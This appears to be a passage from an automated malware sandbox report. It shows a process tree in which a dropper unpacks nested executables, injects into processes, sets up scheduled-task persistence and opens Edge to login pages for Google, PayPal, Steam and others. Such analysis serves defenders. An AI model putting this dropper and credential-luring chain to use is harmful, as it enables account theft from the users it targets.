PID 4092 wrote to memory of 1508 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4092 wrote to memory of 1508 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4092 wrote to memory of 1508 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4092 wrote to memory of 1508 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4092 wrote to memory of 1508 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4092 wrote to memory of 1508 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4092 wrote to memory of 1508 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\72f29919f78f53956692e212fe8bbff32e153e88a93ec3aa72576e5b440a2f85.exe

"C:\Users\Admin\AppData\Local\Temp\72f29919f78f53956692e212fe8bbff32e153e88a93ec3aa72576e5b440a2f85.exe"

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ZB4HP83.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ZB4HP83.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\VK1NC47.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\VK1NC47.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\yw7Wn20.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\yw7Wn20.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x168,0x16c,0x170,0x144,0x174,0x7ffd231446f8,0x7ffd23144708,0x7ffd23144718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/login

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x160,0x164,0x168,0x13c,0x16c,0x7ffd231446f8,0x7ffd23144708,0x7ffd23144718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffd231446f8,0x7ffd23144708,0x7ffd23144718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://store.steampowered.com/login/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffd231446f8,0x7ffd23144708,0x7ffd23144718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://twitter.com/i/flow/login

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffd231446f8,0x7ffd23144708,0x7ffd23144718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2128,8438341203865251372,2646695476267494431,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2236 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2128,8438341203865251372,2646695476267494431,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2140 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2128,8438341203865251372,2646695476267494431,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2680 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2088,4070763352176158848,11591798704985876077,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2136 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2088,4070763352176158848,11591798704985876077,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2216 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffd231446f8,0x7ffd23144708,0x7ffd23144718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://steamcommunity.com/openid/loginform/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,8438341203865251372,2646695476267494431,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3376 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,8438341203865251372,2646695476267494431,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3364 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.epicgames.com/id/login

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2108,14727075928003421524,4812102679110617540,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2124 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,8438341203865251372,2646695476267494431,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3828 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffd231446f8,0x7ffd23144708,0x7ffd23144718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,8438341203865251372,2646695476267494431,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4140 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2100,15239511204187280140,15840001333649218201,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,8438341203865251372,2646695476267494431,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4164 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.paypal.com/signin

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,8438341203865251372,2646695476267494431,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4924 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2108,9720136099176295051,17136359836084592175,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1556 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x168,0x16c,0x170,0x88,0x80,0x7ffd231446f8,0x7ffd23144708,0x7ffd23144718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,8438341203865251372,2646695476267494431,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5232 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,8438341203865251372,2646695476267494431,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5564 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,8438341203865251372,2646695476267494431,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5876 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffd231446f8,0x7ffd23144708,0x7ffd23144718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,8438341203865251372,2646695476267494431,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6160 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,8438341203865251372,2646695476267494431,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6316 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffd231446f8,0x7ffd23144708,0x7ffd23144718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,8438341203865251372,2646695476267494431,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6548 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2Xm8518.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2Xm8518.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,8438341203865251372,2646695476267494431,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6444 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,8438341203865251372,2646695476267494431,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7012 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,8438341203865251372,2646695476267494431,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4528 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,8438341203865251372,2646695476267494431,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7184 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,8438341203865251372,2646695476267494431,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6424 /prefetch:1

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\7bK63Hk.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\7bK63Hk.exe

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 6572 -ip 6572

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 6572 -s 548

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2128,8438341203865251372,2646695476267494431,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6508 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2128,8438341203865251372,2646695476267494431,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6508 /prefetch:8

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\8No753Ok.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\8No753Ok.exe

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\9RL0vY6.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\9RL0vY6.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,8438341203865251372,2646695476267494431,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9180 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,8438341203865251372,2646695476267494431,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9196 /prefetch:1

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2128,8438341203865251372,2646695476267494431,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=8040 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,8438341203865251372,2646695476267494431,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7964 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\3BA8.exe

C:\Users\Admin\AppData\Local\Temp\3BA8.exe

C:\Users\Admin\AppData\Local\Temp\3D4E.exe

C:\Users\Admin\AppData\Local\Temp\3D4E.exe

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 5480 -ip 5480

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 5480 -s 796

C:\Users\Admin\AppData\Local\Temp\6605.exe

C:\Users\Admin\AppData\Local\Temp\6605.exe

C:\Users\Admin\AppData\Local\Temp\6933.exe

C:\Users\Admin\AppData\Local\Temp\6933.exe

C:\Users\Admin\AppData\Local\Temp\6BA5.exe

C:\Users\Admin\AppData\Local\Temp\6BA5.exe

C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe

"C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe"

C:\Users\Admin\AppData\Local\Temp\toolspub2.exe

"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"

C:\Users\Admin\AppData\Local\Temp\6933.exe

C:\Users\Admin\AppData\Local\Temp\6933.exe

C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe

"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"

C:\Users\Admin\AppData\Local\Temp\latestX.exe

"C:\Users\Admin\AppData\Local\Temp\latestX.exe"

C:\Users\Admin\AppData\Local\Temp\Broom.exe

C:\Users\Admin\AppData\Local\Temp\Broom.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

